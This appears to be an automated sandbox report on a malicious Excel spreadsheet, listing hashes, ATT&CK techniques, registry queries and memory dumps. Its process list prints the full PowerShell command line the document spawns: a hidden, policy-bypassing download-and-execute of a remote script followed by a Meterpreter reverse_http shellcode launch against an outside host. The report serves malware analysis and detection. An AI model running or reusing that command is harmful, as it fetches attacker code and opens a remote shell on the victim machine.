70e86f684f74cde3e37a3fb824b6d730050ca5458db8b03c9e9dc975a7775674

General

Target

70e86f684f74cde3e37a3fb824b6d730050ca5458db8b03c9e9dc975a7775674.xls
Size

37KB
MD5

266ce67ad31b20f92176a0caae1e907e
SHA1

3911cd98904c90bc5c10a02faa4d6a9c60061e07
SHA256

70e86f684f74cde3e37a3fb824b6d730050ca5458db8b03c9e9dc975a7775674
SHA512

6666953cd10ea0b50f4aedce3ccde83a8f04e4ec2f5c31c9ff9f8cad6dcd8aadb8df0888694a150c5e3ada9fcd92ec80a4981d4ee54ebedd70ed72bc0ce6dd12
SSDEEP

768:6ySCexexjRPD07EKisifs/vlwsEuR1p1MyxTN/DacSvXi32gtmSPzZco:6LVexjRPD07EKisifs/vlwsEuR1p1My9

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4508	4064	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

23 raw.githubusercontent.com
27 raw.githubusercontent.com

flow	ioc
23	raw.githubusercontent.com
27	raw.githubusercontent.com

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Script User-Agent 3 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	27	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	19	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	20	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3916 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4508 powershell.exe
4508 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4508 powershell.exe

pid	process
4508	powershell.exe
4508	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4508	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\70e86f684f74cde3e37a3fb824b6d730050ca5458db8b03c9e9dc975a7775674.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3916

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('GitHub')); Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost 192.169.1.1 -Lport 80 -Force
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4508

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3gcibpiz.jpn.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\configuration.ps1
Filesize
1KB

MD5
9c4a75ec3504c1d48bbd1a254fb38f1a

SHA1
997e2012a6c174d16025a4d6973fe033cbe90c9d

SHA256
473b70f6e0092451944396732c82bf43a9aa44a538d7ec5a2e56498fa92270f6

SHA512
3f252fc44b470c00d48ea7dfa1efb6bfcb409029a25b4947c7e033c2a09036a1e472a55523e6b5bf1a2d547fd5cf35edb5fecee60a5a84e7b188632764ed9cd4

Download Submit
memory/3916-22-0x00007FFD50A10000-0x00007FFD50C05000-memory.dmp

Filesize
2.0MB

Download
memory/3916-9-0x00007FFD0E710000-0x00007FFD0E720000-memory.dmp

Filesize
64KB

Download
memory/3916-4-0x00007FFD50A10000-0x00007FFD50C05000-memory.dmp

Filesize
2.0MB

Download
memory/3916-21-0x00007FFD50A10000-0x00007FFD50C05000-memory.dmp

Filesize
2.0MB

Download
memory/3916-6-0x00007FFD50A10000-0x00007FFD50C05000-memory.dmp

Filesize
2.0MB

Download
memory/3916-31-0x00000202E54A0000-0x00000202E5CA0000-memory.dmp

Filesize
8.0MB

Download
memory/3916-8-0x00007FFD50A10000-0x00007FFD50C05000-memory.dmp

Filesize
2.0MB

Download
memory/3916-17-0x00007FFD50A10000-0x00007FFD50C05000-memory.dmp

Filesize
2.0MB

Download
memory/3916-10-0x00007FFD50A10000-0x00007FFD50C05000-memory.dmp

Filesize
2.0MB

Download
memory/3916-11-0x00007FFD50A10000-0x00007FFD50C05000-memory.dmp

Filesize
2.0MB

Download
memory/3916-12-0x00007FFD50A10000-0x00007FFD50C05000-memory.dmp

Filesize
2.0MB

Download
memory/3916-14-0x00007FFD0E710000-0x00007FFD0E720000-memory.dmp

Filesize
64KB

Download
memory/3916-15-0x00007FFD50A10000-0x00007FFD50C05000-memory.dmp

Filesize
2.0MB

Download
memory/3916-13-0x00007FFD50A10000-0x00007FFD50C05000-memory.dmp

Filesize
2.0MB

Download
memory/3916-16-0x00007FFD50A10000-0x00007FFD50C05000-memory.dmp

Filesize
2.0MB

Download
memory/3916-18-0x00007FFD50A10000-0x00007FFD50C05000-memory.dmp

Filesize
2.0MB

Download
memory/3916-20-0x00007FFD50A10000-0x00007FFD50C05000-memory.dmp

Filesize
2.0MB

Download
memory/3916-19-0x00007FFD50A10000-0x00007FFD50C05000-memory.dmp

Filesize
2.0MB

Download
memory/3916-0-0x00007FFD10A90000-0x00007FFD10AA0000-memory.dmp

Filesize
64KB

Download
memory/3916-23-0x00007FFD50A10000-0x00007FFD50C05000-memory.dmp

Filesize
2.0MB

Download
memory/3916-5-0x00007FFD10A90000-0x00007FFD10AA0000-memory.dmp

Filesize
64KB

Download
memory/3916-3-0x00007FFD10A90000-0x00007FFD10AA0000-memory.dmp

Filesize
64KB

Download
memory/3916-7-0x00007FFD50A10000-0x00007FFD50C05000-memory.dmp

Filesize
2.0MB

Download
memory/3916-34-0x00000202E54A0000-0x00000202E5CA0000-memory.dmp

Filesize
8.0MB

Download
memory/3916-35-0x00000202E54A0000-0x00000202E5CA0000-memory.dmp

Filesize
8.0MB

Download
memory/3916-73-0x00000202E54A0000-0x00000202E5CA0000-memory.dmp

Filesize
8.0MB

Download
memory/3916-72-0x00000202E54A0000-0x00000202E5CA0000-memory.dmp

Filesize
8.0MB

Download
memory/3916-2-0x00007FFD10A90000-0x00007FFD10AA0000-memory.dmp

Filesize
64KB

Download
memory/3916-43-0x00000202E54A0000-0x00000202E5CA0000-memory.dmp

Filesize
8.0MB

Download
memory/3916-71-0x00000202E54A0000-0x00000202E5CA0000-memory.dmp

Filesize
8.0MB

Download
memory/3916-70-0x00000202E54A0000-0x00000202E5CA0000-memory.dmp

Filesize
8.0MB

Download
memory/3916-69-0x00007FFD50A10000-0x00007FFD50C05000-memory.dmp

Filesize
2.0MB

Download
memory/3916-1-0x00007FFD10A90000-0x00007FFD10AA0000-memory.dmp

Filesize
64KB

Download
memory/3916-63-0x00000202E54A0000-0x00000202E5CA0000-memory.dmp

Filesize
8.0MB

Download
memory/3916-64-0x00000202E54A0000-0x00000202E5CA0000-memory.dmp

Filesize
8.0MB

Download
memory/4508-65-0x00007FFD28140000-0x00007FFD28C01000-memory.dmp

Filesize
10.8MB

Download
memory/4508-53-0x000001BF76260000-0x000001BF762A4000-memory.dmp

Filesize
272KB

Download
memory/4508-49-0x00007FFD28140000-0x00007FFD28C01000-memory.dmp

Filesize
10.8MB

Download
memory/4508-44-0x000001BF75C40000-0x000001BF75C62000-memory.dmp

Filesize
136KB

Download
memory/4508-37-0x000001BF75C70000-0x000001BF75C80000-memory.dmp

Filesize
64KB

Download
memory/4508-36-0x000001BF75C70000-0x000001BF75C80000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads